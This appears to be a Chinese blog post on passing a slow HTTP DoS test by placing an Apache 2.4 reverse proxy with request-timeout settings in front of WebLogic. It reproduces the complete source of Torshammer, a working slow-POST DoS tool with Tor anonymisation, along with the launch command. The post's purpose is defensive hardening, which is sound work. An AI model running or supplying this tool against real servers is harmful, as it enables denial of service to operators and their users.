设置apache2.4代理服务器转发HTTP请求与响应,通过slow http dos测试

原系统为行业内业务系统,布署了两套系统,分别采用Jboss和webLogic作为服务器,两套系统在同一个物理机器上,使用两个端口。

服务器:weblogic12.1.2     Jboss eap6.0

数据库:oracle12(另一个物理机器,两套系统共用)

在试运行时,对weblogic上布署的服务进行slow http dos测试。测试工具为Torshammer(需安装Pyton2.7),测试命令:torshammer.py -t IP地址 -r 256 -p 7001,新建一个文本,将此命令复制进去,保存后更改文件后缀为cmd。

测试人员开了20个窗口同时运行此命令,系统就无响应了。


打开Torshammer工具的torshammer.py文件,代码如下:

#!/usr/bin/python

"""
Tor's Hammer - Slow POST Denial Of Service Testing Tool
Version 1.0 Beta
Project home page: https://sourceforge.net/projects/torshammer

Tor's Hammer is a slow post dos testing tool written in Python.
It can also be run through the Tor network to be anonymized.
If you are going to run it with Tor it assumes you are running Tor on 127.0.0.1:9050. 
Kills most unprotected web servers running Apache and IIS via a single instance.
Kills Apache 1.X and older IIS with ~128 threads.
Kills newer IIS and Apache 2.X with ~256 threads.
"""

import os
import re
import time
import sys
import random
import math
import getopt
import socks
import string
import terminal

from threading import Thread

global stop_now
global term

stop_now = False
term = terminal.TerminalController()

useragents = [
 "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)",
 "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)",
 "Googlebot/2.1 (http://www.googlebot.com/bot.html)",
 "Opera/9.20 (Windows NT 6.0; U; en)",
 "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-2)",
 "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; FDM; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322)",
 "Opera/10.00 (X11; Linux i686; U; en) Presto/2.2.0",
 "Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16",
 "Mozilla/5.0 (compatible; Yahoo! Slurp/3.0; http://help.yahoo.com/help/us/ysearch/slurp)", # maybe not
 "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101209 Firefox/3.6.13",
 "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)",
 "Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)",
 "Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)",
 "Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98)",
 "Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)",
 "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.8) Gecko/20100804 Gentoo Firefox/3.6.8",
 "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7",
 "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)",
 "Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)",
 "YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)"
]

class httpPost(Thread):
    def __init__(self, host, port, tor):
        Thread.__init__(self)
        self.host = host
        self.port = port
        self.socks = socks.socksocket()
        self.tor = tor
        self.running = True
		
    def _send_http_post(self, pause=10):
        global stop_now

        self.socks.send("POST / HTTP/1.1\r\n"
                        "Host: %s\r\n"
                        "User-Agent: %s\r\n"
                        "Connection: keep-alive\r\n"
                        "Keep-Alive: 900\r\n"
                        "Content-Length: 10000\r\n"
                        "Content-Type: application/x-www-form-urlencoded\r\n\r\n" % 
                        (self.host, random.choice(useragents)))

        for i in range(0, 9999):
            if stop_now:
                self.running = False
                break
            p = random.choice(string.letters+string.digits)
            print term.BOL+term.UP+term.CLEAR_EOL+"Posting: %s" % p+term.NORMAL
            self.socks.send(p)
            time.sleep(random.uniform(0.1, 3))
	
        self.socks.close()
		
    def run(self):
        while self.running:
            while self.running:
                try:
                    if self.tor:     
                        self.socks.setproxy(socks.PROXY_TYPE_SOCKS5, "127.0.0.1", 9050)
                    self.socks.connect((self.host, self.port))
                    print term.BOL+term.UP+term.CLEAR_EOL+"Connected to host..."+ term.NORMAL
                    break
                except Exception, e:
                    if e.args[0] == 106 or e.args[0] == 60:
                        break
                    print term.BOL+term.UP+term.CLEAR_EOL+"Error connecting to host..."+ term.NORMAL
                    time.sleep(1)
                    continue
	
            while self.running:
                try:
                    self._send_http_post()
                except Exception, e:
                    if e.args[0] == 32 or e.args[0] == 104:
                        print term.BOL+term.UP+term.CLEAR_EOL+"Thread broken, restarting..."+ term.NORMAL
                        self.socks = socks.socksocket()
                        break
                    time.sleep(0.1)
                    pass
 
def usage():
    print "./torshammer.py -t  [-r  -p  -T -h]"
    print " -t|--target "
    print " -r|--threads  Defaults to 256"
    print " -p|--port  Defaults to 80"
    print " -T|--tor Enable anonymising through tor on 127.0.0.1:9050"
    print " -h|--help Shows this help\n" 
    print "Eg. ./torshammer.py -t 192.168.1.100 -r 256\n"

def main(argv):
    
    try:
        opts, args = getopt.getopt(argv, "hTt:r:p:", ["help", "tor", "target=", "threads=", "port="])
    except getopt.GetoptError:
        usage() 
        sys.exit(-1)

    global stop_now
	
    target = ''
    threads = 256
    tor = False
    port = 80

    for o, a in opts:
        if o in ("-h", "--help"):
            usage()
            sys.exit(0)
        if o in ("-T", "--tor"):
            tor = True
        elif o in ("-t", "--target"):
            target = a
        elif o in ("-r", "--threads"):
            threads = int(a)
        elif o in ("-p", "--port"):
            port = int(a)

    if target == '' or int(threads) <= 0:
        usage()
        sys.exit(-1)

    print term.DOWN + term.RED + "/*" + term.NORMAL
    print term.RED + " * Target: %s Port: %d" % (target, port) + term.NORMAL
    print term.RED + " * Threads: %d Tor: %s" % (threads, tor) + term.NORMAL
    print term.RED + " * Give 20 seconds without tor or 40 with before checking site" + term.NORMAL
    print term.RED + " */" + term.DOWN + term.DOWN + term.NORMAL

    rthreads = []
    for i in range(threads):
        t = httpPost(target, port, tor)
        rthreads.append(t)
        t.start()

    while len(rthreads) > 0:
        try:
            rthreads = [t.join(1) for t in rthreads if t is not None and t.isAlive()]
        except KeyboardInterrupt:
            print "\nShutting down threads...\n"
            for t in rthreads:
                stop_now = True
                t.running = False

if __name__ == "__main__":
    print "\n/*"
    print " *"+term.RED + " Tor's Hammer "+term.NORMAL
    print " * Slow POST DoS Testing Tool"
    print " * Version 1.0 Beta"
    print " * Anon-ymized via Tor"
    print " * We are Anonymous."
    print " * We are Legion."
    print " * We do not forgive."
    print " * We do not forget."
    print " * Expect us!"
    print " */\n"

    main(sys.argv[1:])

解读:

  • 126行处的main方法中可知 ,默认线程256,默认端口80
  • 165-168行代码可看出,对于256个线程的每一个线程,均执行httpPost方法

for i in range(threads):
        t = httpPost(target, port, tor)
        rthreads.append(t)
        t.start()

  • httpPost方法位于58行,由70-88行代码可知,对于一个http连接,要发送10000个字母或数字,每次内发送一个,那么直至10000个字符发送完毕,否则此连接一直保持不释放。

self.socks.send("POST / HTTP/1.1\r\n"
                        "Host: %s\r\n"
                        "User-Agent: %s\r\n"
                        "Connection: keep-alive\r\n"
                        "Keep-Alive: 900\r\n"
                        "Content-Length: 10000\r\n"
                        "Content-Type: application/x-www-form-urlencoded\r\n\r\n" % 
                        (self.host, random.choice(useragents)))

        for i in range(0, 9999):
            if stop_now:
                self.running = False
                break
            p = random.choice(string.letters+string.digits)
            print term.BOL+term.UP+term.CLEAR_EOL+"Posting: %s" % p+term.NORMAL
            self.socks.send(p)
            time.sleep(random.uniform(0.1, 3))
	
        self.socks.close()

由此可知,打开torshammer会产生大量keepAlive的连接,当连接达到服务器所能支持的最大值,服务器无法处理正常的HTTP请求,就会DOS,修改weblogic的Post超时时间、最长Post时间、HTTP持续时间等,但进行slow http dos测试时还是无法通过。

解决办法:使用apache服务器作为代理,转发HTTP。

1、修改原weblogic的7001端口为7003。

2、设置防火墙规则,对外关闭7003端口。

3、apache监听7001端口,并将HTTP转发到7003端口。

4、将静态文件复制到apache24的htdocs文件夹下

--------------------------------------------------------------------

apache2.4的配置在apache24\conf文件夹下,主配置文件为httpd.conf,修改如下

1、修改ServerRoot为apache安装目录,如ServerRoot "D:/httpd-2.4.10-win64/Apache24";

2、修改Listen为监听的IP(对外服务的IP)和端口,apache监听此端口,并将其转发到weblogic的端口,如Listen 对外IP:7001;

3、将LoadModule ... mod_proxy.so、mod_proxy_connect.so、mod_proxy_http.so、mod_reqtimeout.so前注释去掉;

4、增加如下配置,

ProxyRequests Off 
对外IP
:7001> 
Order deny,allow 
Allow from all 

ProxyPass / http://localhost:7003/
ProxyPassReverse / http://localhost:7003/

5、修改ServerName:ServerName http://对外IP:7001/

6、修改Directory /


    Options ExecCGI FollowSymLinks
    AllowOverride All
    Require all granted

7、修改DocumentRoot,如DocumentRoot "D:/httpd-2.4.10-win64/Apache24/htdocs"

8、修改htdocs,如Directory "D:/httpd-2.4.10-win64/Apache24/htdocs"


    Options FollowSymLinks
    AllowOverride All
    Require all granted

9、修改首页


    DirectoryIndex indexForEcms.html index.jsp index.html

indexForEcms.html是自己添加的首页,代码如下,其中的URL替换为原首页即可







10、取消如下两行的注释

Include conf/extra/httpd-mpm.conf
Include conf/extra/httpd-default.conf

11、httpd-mpm.conf,若是windows系统下安装的apache,可以修改中的参数,ThreadsPerChild、MaxConnectionsPerChild、ThreadsPerChild、ThreadLimit、MaxRequestsPerChild、EnableMMAP、EnableSendfile

12、httpd-default.conf修改

Timeout 30
KeepAlive On
MaxKeepAliveRequests 100//一个持久连接支持的请求数
KeepAliveTimeout 15//一个持久连接上,一个请求的超时时间
UseCanonicalName Off
AccessFileName .htaccess
ServerTokens Full
ServerSignature Off
HostnameLookups Off

  RequestReadTimeout header=20-40,MinRate=500 body=20,MinRate=500


你可能感兴趣的:(服务器)